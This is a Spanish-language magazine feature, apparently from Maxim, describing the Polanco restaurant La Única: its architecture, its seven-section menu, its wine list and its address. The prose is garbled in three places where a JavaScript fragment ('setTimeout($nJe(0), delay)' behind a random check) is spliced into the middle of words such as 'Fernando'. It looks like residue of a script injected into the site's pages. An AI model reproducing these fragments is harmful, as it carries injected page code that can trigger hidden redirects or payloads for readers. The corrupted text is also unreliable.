MAR Y TIERRA AL PALADAR

La Única un concepto innovador con un amplio menú inspirado en las cocinas regionales de la costa del pacífico y el norte del país.

Autor: Redacción Maxim 10 abril, 2018

FOTO: Cortesía La Única

La Única tiene espacios contemporáneos con énfasis en el detalle, que aportan una personalidad distinta y para todos los gustos.

El arquitecto Jorge Campos, quien trabajó en este proyecto con su asociado e interiorista, Lázaro Rosa Violan, explica: “La intención fue crear una secuencia espacial que resultara en una rica experiencia para el comensal, iniciandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando por el salón que está directamente vinculado a la vida urbana de Polanco, siguiendo por el patio interior con vista franca a la cocina y culminandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando en un patio abierto, en donde se respira un ambiente fresco tanto por su exuberante vegetación como por su amplitud y doble altura”.

FOTO: Cortesía La Única

Al ordenar, podrás percatarte de que el menú de La Única está dividido en siete secciones: marisquería, entradas, ensaladas, sopas, cortes a las brasas, platos fuertes y tacos, el cual fue creado, bajo la dirección de Felipe Wiliamson y Pedro Roca, por el chef Adán Moreno en colaboración con el chef sinaloense Fernandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando Covarrubias.

Además, la carta de vinos ofrece etiquetas de diversas regiones del mundo, pero con realce en la oferta nacional, y que también incluye una selección de mezcales y tequilas, con coctelería que rinde un homenaje a lo mexicano.

FOTO: Cortesía La Única

La amplia selección de platillos de mar y tierra, sus distintos ambientes —con un patio interior alejado del caos de la ciudad— hacen de La Única el lugar para tu siguiente momento especial.

CÓMO LLEGAR

Ubicación: Anatole France #98

Teléfono: 43332103

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